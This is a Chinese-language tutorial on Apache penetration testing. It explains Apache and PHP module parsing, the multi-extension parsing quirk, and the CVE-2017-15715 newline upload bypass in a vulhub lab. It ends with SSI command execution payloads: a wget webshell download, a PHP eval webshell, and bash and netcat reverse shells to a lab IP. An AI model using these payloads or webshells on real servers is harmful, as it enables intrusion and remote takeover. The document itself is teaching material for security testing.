简介
Apache是世界排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务端软件之一。它快速、可靠并且可以通过简单的API扩充,将Perl/Python等解释器编译到服务器中
简单来说就是:好用,并且能支持基础的HTML、PHP、Perl、Python等语言
Apache的目录结构:
bin 存放常用的命令工具,例如httpd
cgi-bin 存放Linux下常用的命令,例如xxx.sh
conf Linux的配置相关文件,例如httpd.conf
error 错误记录
htdocs 放网站源码
icons 网站图标
logs 日志
manual 手册
modules 扩展模块
Apache原理简介:
下面的Apache漏洞必须要理解Apache的运行原理
在一开始学网络安全入门的时候,搭建PHP环境,经常采用的PHPStudy、LAMP、XAMPP等集成环境搭建,很容易忽略里面的一些原理。为了更好的理解本节课中讲到的漏洞,必须要说一下Apache与PHP的一些事情
请求从request开始,到response结束
先了解一下PHP架构:
深入理解Zend SAPls:
https://www.laruence.com/2008/08/12/180.html(里面包含了PHP源码分析)
简单理解:
通过上图可以看出PHP的整体分为5层(类似Android的架构图),分别解释下:
Zend Engine是PHP的底层实现,包含编译和执行,底层由C语言实现
Zend API、Zend Extension API是基于Zend底层对外封装提供服务
Extendions使用Extension API实现了扩展库、标准库,例如各种内置函数、MySQL连接库等
SAPI是重点,全称是Server Application Programming Interface,也就是服务端应用编程接口。PHP就是通过它来和Apache、Nginx、FastCGI交互
Application是最上层,也就是我们写的PHP代码了
上面的是PHP架构,现在看看关于Apache和PHP通信的过程。
Apache本身是不支持PHP解析的,通过架构图可以知道是通过SAPI进行通信,那Apache如何和SAPI通信呢,Apache怎么知道什么文件解析为PHP,如果搭建过Apache解析PHP的环境,肯定了解这两个步骤:
ࣘphp5_module模块
•LoadModule php5_module php5apache2_2.dll路径
•# 添加可执行PHP的文件类型,让.php文件解析为PHP
•AddType application/x-httpd-php .php
•\# 或者将AddType变为下面的(在Apache 2.4.0~2.4.29中默认使用了该方式)
•<FilesMatch \.php$>
SetHandler application/x-httpd-php
•</FilesMatch>
以及
•<IfModule dir_module>
•DirectoryIndex index.html index.htm index.php index.phtml
•</IfModule>
Apache通过LoadModule来加载php5_module模块(php5apache2_2.dll),这样做的目的是让Apache加载php5_module模块来解析PHP文件。意思其实就是用LoadModule来加载php5_module。也就是把php作为Apache的一个子模块来运行。当通过Web访问php文件时,Apache就会调用php5_module来解析PHP代码
调用过程可以概括为:
HTTP -> Apache -> php5_module -> sapi -> php
Apache渗透
解析漏洞(CVE-2017-15715)windows环境下
未知扩展名解析漏洞
Apache的解析漏洞依赖于一个特性:Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则继续向左识别,直到识别到合法后缀才进行解析。与Windows不同,Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止,Apache官方解释是: http://httpd.org/docs/current/mod/directive-dict.html
复现:
这里使用phpstudy进行复现:
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
Apache的文件名扩展名的定义写在conf/mine.types文件中:
创建两个测试文件,对规则进行验证:
正常解析
可以正常解析,就可以利用它绕过一些规则,比如上传文件的黑名单,并使其正常解析
比如传一些:phpinfo.php.xxx
使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保证文件扩展名中,至少带有一个 ".php" ,否则将默认作为txt/html文档处理
测试PHP5.4之上的版本
PHP常见运行方式有apache的模块模式(分为mod_php和mod_cgi)cgi模式,fast-cgi模式:
使用module模式与PHP结合的所有版本 apache存在未知扩展名解析漏洞
使用fastcgi模式与PHP结合的所有版本apache不存在此漏洞
并且,想利用此漏洞必须保证文件扩展名中至少带有一个 ".php" ,否则将被默认作为txt/html文档处理
具体可以参考Werneror大佬的 文件解析漏洞总结-Apache 文章:
文件解析漏洞总结-Apache若水斋-CSDN博客文件解析漏洞
以下为Kali环境
安装apache:
kali虚拟机中是包含有Apache的,在/etc目录下ls即可显示出来,所以这里只需要进行配置就可以
打开Apache服务
/etc/init.d/apache2 start
/etc/init.d/apache2 status
service apache2 restart
apache成功开启
安装php:
同上,Kali虚拟机上包含有MySQL的,在 /etc 目录下 ls 即可显示出来,这里同样直接进行配置就可以
运行php -v 可直接看到php是配置好的
测试Apache+PHP
在 /var/www/html 目录下创建 index.php 文件
touch index.php 创建文件
写入图中框住的内容:
<?php
phpinfo();
?>
访问尝试:
搭建成功
Apache解析漏洞
本地是debian系的 kali linux ,apache 配置文件路径在 /etc/apache2/ 下,apacher2.conf是apache核心配置文件,本地的php作为apache的mod方式运行的,所以需要在mods-enabled目录下找到aoache-php模块的配置:
第一行就可以看到apache会将哪些后缀的文件当作php解析:
<FilesMatch ".+\.ph(ar|p|tml)$">
phar、php、phtml、结尾的文件,会被apache当作php解析
apache这个解析漏洞的根本原因就是这个 $ ,正则表达式中,我们都知道 $ 用来匹配字符串结尾位置
在设置了RegExp对象的Multiline属性的条件下,$ 还会匹配到字符串结尾的换行符
进一步尝试,把 php7.4.conf 文件中提到的正则表达式的:
$ 换成 \.
然后重启Apache使配置文件生效,再访问index.php.jpg,这次可以当作php程序执行
总结利用条件:
使用module模式,且符合条件
文件扩展名中至少包含一个.php
AddHandler导致的解析漏洞
没有任何更改的话,直接访问:
http://127.0.0.1/index.php.jpg
无法解析
AddHandler application/x-httpd-php .php
然后重启apache服务
即使最右边的文件格式是再mime.types文件内,只要文件名中出现.php,就能直接被解析为php
罕见后缀总结
在 mime.types 文件中:
不仅仅有php,还有phtml、php3、php3p、php4、php5和phps
在 php7.4.conf 中:
<FilesMatch ".+\.ph(ar|p|tml)$">
该正则表达式匹配的不仅仅有php,还有phar、phtml等
配置问题导致总结:
1)如果在Apache的 /etc/apache2/apache2.conf 里有这样的配置
<FilesMatch "YLion.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这时只要文件名是 YLion.jpg ,会以php来执行
2)如果在Apache的conf里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php就会以php来执行
3)如果在Apache的conf里有这样一行配置 AddType application/x-httpd-php .jpg,即使扩展名是.jpg,也会当作php来执行
目录遍历
google:
intitle:index of
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
后缀包含换行符 \x0A (CVE-2017-15715)
漏洞描述:
上传一个后缀末尾包含换行符的文件,来绕过 FilesMatch ,绕过 FileMatch 不一定能被PHP解析。这个漏洞可以用来绕过文件上传黑名单限制:
1.php\x0a -> 1.php
apache 通过 mod_php 来运行脚本,其2.4.0-2.4.29中存在aoache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关
影响范围:
2.4.0 - 2.4.29 版本
此漏洞形成的原因在于 $ ,正则表达式中 $ 不仅匹配字符串结尾位置,也可以匹配 \n 或者 \r
漏洞复现:
在解析PHP时,1.php\x0A将按照PHP后缀进行解析,导致绕过一些服务器的安全策略
使用docker环境,环境搭建请自行查看
开启CVE-2017-15715,编译并运行漏洞环境:
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
docker ps
启动访问本地8080端口
部署成功
开始复现:
直接尝试上传
直接上传 Ylion.php 上传失败
抓包分析
在php后面加一个 . , . 的hex是2e,然后将2e改为0a即可
2e改成0a
上传成功
访问:
http://192.168.27.180:8080/1.php%0A
可以成功上传并且被解析
分析代码:
先看一下index.php的代码
后台是通过黑名单方式过滤了php后缀的文件,根据最开始的知识,什么文件算是php文件,在一开始有定义,这句话的意思就是以 .php 结尾的文件都算是php文件,在正则中匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multline 属性,则也匹配 '\n' 或 '\r'
恰好,我们在文件末尾加了 0x0a(\n) ,所以也被匹配成功了
这里有两个概念:0x0a 与 0x0d、正则表达式的m修饰符:
0x0d、\r、CR这三者代表是回车,是同一个东西,回车的作用只是移动光标至该行的起始位置;
0x0a、\n、CL这三者代表换行,是同一个东西,换行至下一行行首起始位置;
上述可知,0x0a才是到下一行,所以在绕过时,0x0d不起作用,你也可以在burp抓包时替换16进制进行尝试
m修饰符规定正则表达式可以执行多行匹配,m修饰符也就是RegExp对象的Multiline属性。
修复建议:
升级到最新版本
将上传的文件重命名为:时间戳+随机数+.jpg的格式,并禁用上传文件目录执行脚本权限
docker-compose常用命令:
docker-compose ps 查看服务运行状态
docker-compose up -d 启动所有服务并在后台运行
docker-compose restart 重启所有服务
docker-compose start 开启所有服务
docker-compose stop 停止所有服务
doceker-compose rm 删除所有服务
Apache SSI远程命令执行
影响版本:
Apache全版本(支持SSI与CGI)
影响说明:
绕过服务器策略,上传webshell
环境搭建:
docker-compose stop
cd vulhub/httpd/ssi-rce
docker-compose build
docker-compose up -d
漏洞原理:
SSI(server-side includes):是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其它动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其它的页面。开启SSI需要单独配置Apache,可以参考下面的连接:
https://httpd.apache.org/docs/2.4/howto/ssi.html
SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库的操作,功能非常强大。
利用的就是SSI执行系统命令的功能,正常的一个包含SSI指令的文件,例如:
<pre>
<!--#exec cmd="whoami" -->
</pre>
后缀取决于Apache的配置,默认是此后缀
当后台对扩展名校验不严格时,可以上传此类型文件,达到执行命令,获取webshell的目的。
获得CMD反弹的命令回显
上传webshell:(需要开启python)
<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
echo '<?php @eval($_POST[dayu]);?>' > shell.php
反弹shell:
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.253.27/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.253.27 8888 -e /bin/bash"-->